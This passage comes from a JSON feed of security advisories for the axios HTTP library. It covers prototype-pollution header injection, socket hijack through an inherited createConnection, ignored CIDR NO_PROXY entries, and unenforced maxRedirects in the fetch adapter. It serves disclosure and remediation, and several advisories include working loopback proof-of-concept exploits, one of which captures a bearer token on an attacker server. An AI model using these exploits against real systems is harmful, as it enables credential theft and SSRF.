on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: 'fetch'`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = 'FormData'`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e (body += chunk));\n    req.on('end', () =\u003e handler(req, res, body));\n  });\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n  hits.push({ headers: req.headers, body });\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype[tag] = 'FormData';\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    headers['X-Poisoned'] = 'yes';\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {\n    adapter: 'fetch',\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:34:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2","https://nvd.nist.gov/vuln/detail/CVE-2026-101900","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-4hqw-qxg8-jxx2"],"source_kind":"github","identifiers":["GHSA-4hqw-qxg8-jxx2","CVE-2026-101900"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00546,"epss_percentile":0.43538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aHF3LXF4Zzgtanh4Ms4AB7Nf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00aHF3LXF4Zzgtanh4Ms4AB7Nf","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.12.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aHF3LXF4Zzgtanh4Ms4AB7Nf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tOG04LXFqNXYtMjN3M84AB7Ne","url":"https://github.com/advisories/GHSA-m8m8-qj5v-23w3","title":"Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection","description":"## Summary\n\nAxios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive `createConnection` request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If `Object.prototype.createConnection` has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.\n\nAxios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.\n\n## Impact\n\nGiven a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.\n\nThis can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter.\n- HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe `createConnection`.\n- Processes where `Object.prototype.createConnection` is polluted.\n\nNot affected:\n\n- Browser adapters.\n- Processes without prototype pollution.\n- Requests using a custom trusted transport that ignores inherited `createConnection` and sanitizes options internally.\n\n## Technical Details\n\n`lib/adapters/http.js` creates:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method,\n  headers,\n  agents: { http: httpAgent, https: httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThe object does not include an own `createConnection` property. Local verification on axios `1.18.1` polluted `Object.prototype.createConnection` to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received `Bearer SECRET`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.createConnection = function (_options, cb) {\n  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () =\u003e {\n    if (typeof cb === 'function') cb(null, socket);\n  });\n  return socket;\n};\n\nawait axios.get('http://127.0.0.1:\u003clegit-port\u003e/secret', {\n  headers: { Authorization: 'Bearer SECRET' },\n  proxy: false\n});\n```\n\nExpected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.\n\n## Workarounds\n\nRun axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.\n\nWhen `Object.prototype.createConnection` is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with `Object.create(null)`. The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.\n\nThis allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.\n\n## Impact\n\nGiven an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:\n\n- redirect the underlying socket for axios requests to attacker-controlled infrastructure\n- receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials\n- return attacker-controlled responses to the caller\n- bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere\n\nThe important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted `Object.prototype` from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.\n\n## Technical details\n\nThe HTTP adapter constructs a null-prototype request options object before calling the selected transport:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThat prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from `Object.prototype` again.\n\n`createConnection` is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.\n\n## Reproduction\n\nThe following minimal proof uses a legitimate target server and an attacker server. It pollutes `Object.prototype.createConnection`, then makes an axios request to the legitimate server with an Authorization header.\n\n```js\nimport net from 'node:net';\nimport http from 'node:http';\nimport axios from 'axios';\n\nfunction listen(handler) {\n  return new Promise(resolve =\u003e {\n    const s = http.createServer(handler);\n    s.listen(0, '127.0.0.1', () =\u003e resolve(s));\n  });\n}\n\nconst legitHits = [];\nconst attackerHits = [];\n\nconst legit = await listen((req, res) =\u003e {\n  legitHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end('LEGIT');\n});\n\nconst attacker = await listen((req, res) =\u003e {\n  attackerHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end('ATTACKER');\n});\n\nObject.prototype.createConnection = function(options, cb) {\n  const sock = net.createConnection({\n    host: '127.0.0.1',\n    port: attacker.address().port,\n  }, () =\u003e {\n    if (typeof cb === 'function') cb(null, sock);\n  });\n  return sock;\n};\n\nconst res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {\n  headers: {Authorization: 'Bearer SECRET'},\n  proxy: false,\n});\n\nconsole.log({\n  response: res.data,\n  legitHits,\n  attackerHits,\n});\n```\n\nObserved result on the current npm package:\n\n```json\n{\n  \"response\": \"ATTACKER\",\n  \"legitHits\": [],\n  \"attackerHits\": [\n    {\n      \"url\": \"/secret\",\n      \"auth\": \"Bearer SECRET\"\n    }\n  ]\n}\n```\n\nThe request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.\n\n## Versions tested\n\nI reproduced this against:\n\n- axios 1.16.1 from npm\n- axios 1.17.0 from npm\n- current `v1.x` source at commit `a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b`\n\n## Fix validation\n\nAdding an own safe value for `createConnection` to the adapter options object prevents inherited pollution from being observed after Node's option copy:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n  createConnection: undefined,\n});\n```\n\nWith that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.\n\n## Remediation\n\nSet own safe defaults for sensitive Node HTTP request options before calling `transport.request`, at minimum:\n\n```js\ncreateConnection: undefined\n```\n\nI recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as `lookup`, `timeout`, `localAddress`, `servername`, `signal`, and related options.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T15:32:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3","https://nvd.nist.gov/vuln/detail/CVE-2026-101905","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-m8m8-qj5v-23w3"],"source_kind":"github","identifiers":["GHSA-m8m8-qj5v-23w3","CVE-2026-101905"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":0.00289,"epss_percentile":0.1929,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tOG04LXFqNXYtMjN3M84AB7Ne","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tOG04LXFqNXYtMjN3M84AB7Ne","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tOG04LXFqNXYtMjN3M84AB7Ne/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NGc0LW0ybWotd3B2eM4AB7Nd","url":"https://github.com/advisories/GHSA-44g4-m2mj-wpvx","title":"Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges","description":"## Summary\n\nAxios supports proxy environment variables and evaluates `NO_PROXY` exclusions in the Node.js adapter. CIDR-form `NO_PROXY` entries such as `127.0.0.0/8`, `10.0.0.0/8`, or `169.254.169.254/32` are not interpreted as IP ranges. As a result, a request to an IP address inside a configured CIDR exclusion can still be sent through the configured proxy.\n\nThis affects deployments that rely on CIDR notation to keep loopback, private, Kubernetes, CI, or cloud metadata traffic away from proxy infrastructure.\n\n## Impact\n\nIf the configured proxy is outside the intended trust boundary, requests that operators expected to bypass the proxy may be exposed to it. For plaintext HTTP targets, the proxy can see and modify URLs, headers, and bodies. For HTTPS targets, the proxy still observes connection metadata and may receive CONNECT requests that policy expected to avoid.\n\nThis is a proxy exclusion bypass, not arbitrary proxy injection by itself.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js adapter proxy environment handling.\n- `HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, or lowercase equivalents.\n- CIDR entries in `NO_PROXY`.\n\nNot affected:\n\n- Exact host or exact IP `NO_PROXY` entries where axios matching succeeds.\n- Requests configured with `proxy: false`.\n- Browser adapters.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` parses each `NO_PROXY` entry into a host and optional port, normalizes hostnames, and then compares exact hostnames, suffix entries, wildcard-prefix entries, and loopback equivalents. It does not parse CIDR notation.\n\nLocal verification on axios `1.18.1`:\n\n```js\nprocess.env.NO_PROXY = '127.0.0.0/8';\nshouldBypassProxy('http://127.0.0.1:1234/'); // false\n```\n\nThe expected result for CIDR-aware bypass policy is `true`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Set `HTTP_PROXY=http://127.0.0.1:\u003cproxy-port\u003e`.\n2. Set `NO_PROXY=127.0.0.0/8`.\n3. Request `http://127.0.0.1:\u003cinternal-port\u003e/metadata`.\n4. Observe that axios sends the request through the proxy instead of directly to the internal listener.\n\n## Workarounds\n\nUse exact host or IP entries in `NO_PROXY` for sensitive destinations until CIDR matching is fixed, for example `127.0.0.1,localhost,169.254.169.254`. For individual requests that must not use a proxy, set `proxy: false`.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios 1.17.0 honors `HTTP_PROXY` / `HTTPS_PROXY` and supports `NO_PROXY` host exclusions, but CIDR-form `NO_PROXY` entries such as `127.0.0.0/8` are not treated as network ranges. As a result, requests to IPs covered by a configured CIDR exclusion may still be sent through the configured proxy.\n\nIn the attached PoC, a request to `127.0.0.1` is sent through `HTTP_PROXY` despite `NO_PROXY=127.0.0.0/8`.\n\nThis can cause proxy exclusion bypass in environments where operators use CIDR notation to exclude loopback, private, internal, Kubernetes, CI, or cloud metadata address ranges from proxying.\n\n## Details\n\nAxios supports proxy environment variables, including `HTTP_PROXY` / `HTTPS_PROXY` and `NO_PROXY`-style exclusions. Axios’s threat model treats environment proxy handling as security-relevant and lists `NO_PROXY` as a mitigation for proxy environment variable hijack, including hardening for CIDR ranges, IPv6 literals, and wildcard patterns. See: https://github.com/axios/axios/blob/a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b/THREATMODEL.md#t-r9-proxy-environment-variable-hijack\n\nThe issue is that CIDR-form `NO_PROXY` entries are not interpreted as network ranges. For example:\n\n```text\nNO_PROXY=127.0.0.0/8\nHTTP_PROXY=http://127.0.0.1:\u003cproxy-port\u003e\nTarget URL=http://127.0.0.1:\u003cinternal-port\u003e/metadata\n```\n\nSince `127.0.0.1` is inside `127.0.0.0/8`, an operator may reasonably expect Axios to bypass the proxy for this request. Instead, Axios sends the request through `HTTP_PROXY`.\n\nThis appears to affect the proxy bypass decision path used for `NO_PROXY` / `no_proxy` handling. The relevant behavior is in Axios's Node proxy handling and `NO_PROXY` evaluation logic, including the `shouldBypassProxy` helper introduced for `no_proxy` hostname normalization and bypass checks.\n\nThe issue is not that Axios ignores `NO_PROXY` entirely. Exact host exclusions work. The issue is specifically that CIDR-form exclusions are silently treated as non-matching host/domain tokens rather than as network ranges, causing the request to be proxied.\n\nThis is security-relevant because CIDR notation is commonly used in container, CI, enterprise proxy, and cloud environments for ranges such as:\n\n```text\n127.0.0.0/8\n10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16\n169.254.169.254/32\n```\n\nIf operators rely on those entries to prevent internal or metadata-style requests from traversing a proxy, Axios may violate that expectation.\n\n## PoC\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nfunction listen(server, host) {\n  return new Promise((resolve, reject) =\u003e {\n    server.once('error', reject);\n    server.listen(0, host, () =\u003e resolve(server.address().port));\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve) =\u003e server.close(resolve));\n}\n\nlet proxyHits = 0;\nlet internalHits = 0;\n\nconst internal = http.createServer((req, res) =\u003e {\n  internalHits += 1;\n  res.writeHead(200, { 'content-type': 'text/plain' });\n  res.end(`internal service saw ${req.url}`);\n});\n\nconst proxy = http.createServer((req, res) =\u003e {\n  proxyHits += 1;\n  res.writeHead(200, { 'content-type': 'text/plain' });\n  res.end(`proxy saw request for ${req.url}`);\n});\n\nconst internalHost = process.env.POC_INTERNAL_HOST || '127.0.0.2';\nconst proxyHost = process.env.POC_PROXY_HOST || '127.0.0.1';\n\nlet internalPort;\nlet proxyPort;\n\ntry {\n  internalPort = await listen(internal, internalHost);\n  proxyPort = await listen(proxy, proxyHost);\n} catch (error) {\n  console.error('Failed to bind local PoC servers.');\n  console.error('On some systems 127.0.0.2 is unavailable; try:');\n  console.error('  POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs');\n  console.error('');\n  throw error;\n}\n\nconst targetUrl = `http://${internalHost}:${internalPort}/metadata`;\nconst proxyUrl = `http://${proxyHost}:${proxyPort}`;\nconst noProxy = process.env.POC_NO_PROXY || '127.0.0.0/8';\n\nprocess.env.http_proxy = proxyUrl;\nprocess.env.HTTP_PROXY = proxyUrl;\nprocess.env.no_proxy = noProxy;\nprocess.env.NO_PROXY = noProxy;\n\nconsole.log('Axios NO_PROXY CIDR full axios network PoC');\nconsole.log(`axios VERSION=${axios.VERSION || 'unknown'}`);\nconsole.log(`NO_PROXY=${process.env.no_proxy}`);\nconsole.log(`HTTP_PROXY=${process.env.http_proxy}`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log('');\n\ntry {\n  const response = await axios.get(targetUrl, {\n    timeout: 2000,\n  });\n\n  console.log(`Response=${response.data}`);\n  console.log(`Proxy hits=${proxyHits}`);\n  console.log(`Internal direct hits=${internalHits}`);\n  console.log('');\n\n  if (proxyHits \u003e 0 \u0026\u0026 internalHits === 0) {\n    console.log(`POC RESULT: axios sent the target through the proxy with NO_PROXY=${noProxy}.`);\n  } else if (proxyHits === 0 \u0026\u0026 internalHits \u003e 0) {\n    console.log(`POC RESULT: axios bypassed the proxy with NO_PROXY=${noProxy}.`);\n  } else {\n    console.log('POC RESULT: mixed/ambiguous routing; inspect counts above.');\n  }\n} finally {\n  delete process.env.http_proxy;\n  delete process.env.HTTP_PROXY;\n  delete process.env.no_proxy;\n  delete process.env.NO_PROXY;\n  await close(proxy);\n  await close(internal);\n}\n```\n\nRun the failing CIDR case:\n\n```bash\nPOC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs\n```\n\nObserved:\n\n```text\nAxios NO_PROXY CIDR full axios network PoC\naxios VERSION=1.17.0\nNO_PROXY=127.0.0.0/8\nHTTP_PROXY=http://127.0.0.1:34315\nTarget URL=http://127.0.0.1:43993/metadata\n\nResponse=proxy saw request for http://127.0.0.1:43993/metadata\nProxy hits=1\nInternal direct hits=0\n\nPOC RESULT: axios sent the target through the proxy with NO_PROXY=127.0.0.0/8.\n```\n\n## Control\n\nAxios does honor exact IP `NO_PROXY` entries:\n\n```bash\nPOC_INTERNAL_HOST=127.0.0.1 POC_NO_PROXY=127.0.0.1 node poc-no-proxy-cidr-axios.mjs\n```\n\nExpected:\n\n```text\nNO_PROXY=127.0.0.1\nResponse=internal service saw /metadata\nProxy hits=0\nInternal direct hits=1\n\nPOC RESULT: axios bypassed the proxy with NO_PROXY=127.0.0.1.\n```\n\nThis shows the issue is not that `NO_PROXY` is ignored entirely. The bypass failure is specific to CIDR-form entries such as `127.0.0.0/8`.\n\n## Impact\n\nThis is a proxy exclusion bypass caused by unsupported CIDR matching in `NO_PROXY`.\n\nThe impact is configuration-dependent. It affects Axios users in Node.js environments who rely on proxy environment variables and configure `NO_PROXY` using CIDR notation to exclude internal, loopback, private, Kubernetes, CI, or cloud metadata ranges.\n\nPotentially impacted environments include:\n\n- CI/CD runners with globally injected `HTTP_PROXY` / `HTTPS_PROXY`.\n- Containers inheriting proxy variables from the host or orchestrator.\n- Kubernetes workloads using `NO_PROXY` for cluster-internal service ranges.\n- Enterprise networks using HTTP proxies with internal network exclusions.\n- Cloud workloads relying on `NO_PROXY` to keep metadata or internal service requests off proxy infrastructure.\n\nIf a configured proxy is compromised, attacker-controlled, overly broad, or outside the intended trust boundary, requests that operators expected to stay direct may instead be exposed to that proxy. This may expose request URLs, internal hostnames, paths, headers, or credentials depending on application behavior.\n\nThis should not be characterized as arbitrary proxy injection by itself. The issue is that Axios silently fails to enforce common CIDR-form proxy exclusions, which can undermine proxy bypass policy and defense-in-depth assumptions.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:32:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-44g4-m2mj-wpvx","https://github.com/axios/axios/pull/11141","https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","https://github.com/axios/axios/releases/tag/v1.20.0","https://github.com/advisories/GHSA-44g4-m2mj-wpvx"],"source_kind":"github","identifiers":["GHSA-44g4-m2mj-wpvx","CVE-2026-101899"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.069Z","updated_at":"2026-09-30T16:00:09.069Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NGc0LW0ybWotd3B2eM4AB7Nd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NGc0LW0ybWotd3B2eM4AB7Nd","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.20.0","vulnerable_version_range":"\u003e= 1.15.0, \u003c 1.20.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NGc0LW0ybWotd3B2eM4AB7Nd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNGdqLTVtNTItZzV3aM4AB7Nc","url":"https://github.com/advisories/GHSA-r4gj-5m52-g5wh","title":"Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF","description":"## Summary\n\nAxios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: 'follow'` applies.\n\nApplications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.\n\n## Impact\n\nAn attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.\n\nThis should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: 'fetch'`.\n- Runtime environments where fetch is selected by adapter resolution.\n- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: 'manual'` or equivalent runtime-specific redirect control.\n\nNot affected:\n\n- Node HTTP adapter, which enforces `maxRedirects: 0`.\n- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.\n\n## Technical Details\n\n`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: 'half',\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause `redirect` is absent, the Fetch API default is to follow redirects.\n\nLocal verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Start server A that returns `302 Location: http://127.0.0.1:\u003cserver-b\u003e/internal`.\n2. Start server B that returns `INTERNAL`.\n3. Compare:\n\n```js\nawait axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws\nawait axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL\n```\n\n## Workarounds\n\nFor fetch-adapter requests, set `fetchOptions: { redirect: 'manual' }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.\n\nIn the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.\n\nThis affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly.\n\n## Details\n\nThe fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:\n\n```js\nlet {\n  url, method, data, signal, cancelToken, timeout,\n  onDownloadProgress, onUploadProgress, responseType,\n  headers, withCredentials, fetchOptions,\n  maxContentLength, maxBodyLength,\n} = resolveConfig(config);\n// maxRedirects is not extracted\n```\n\nThe options object passed to `fetch()` has no `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: 'half',\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.\n\nThe discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect\n\nThe behaviour difference between adapters is summarised below:\n\n| Behaviour                              | HTTP adapter                    | Fetch adapter            |\n|----------------------------------------|---------------------------------|--------------------------|\n| Reads `config.maxRedirects`            | Yes                             | **No**                   |\n| Enforces `maxRedirects: 0`             | Yes -- throws on any redirect   | **No -- follows silently**|\n| Strips `Authorization` cross-origin    | Yes (`follow-redirects` \u003e=1.15.8)| Runtime-dependent       |\n| Strips `Cookie` cross-origin           | Yes                             | Runtime-dependent        |\n\n### When is the fetch adapter selected?\n\n- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'`\n- **Explicit config:** `axios.get(url, { adapter: 'fetch' })`\n- **Custom adapter list:** `axios.create({ 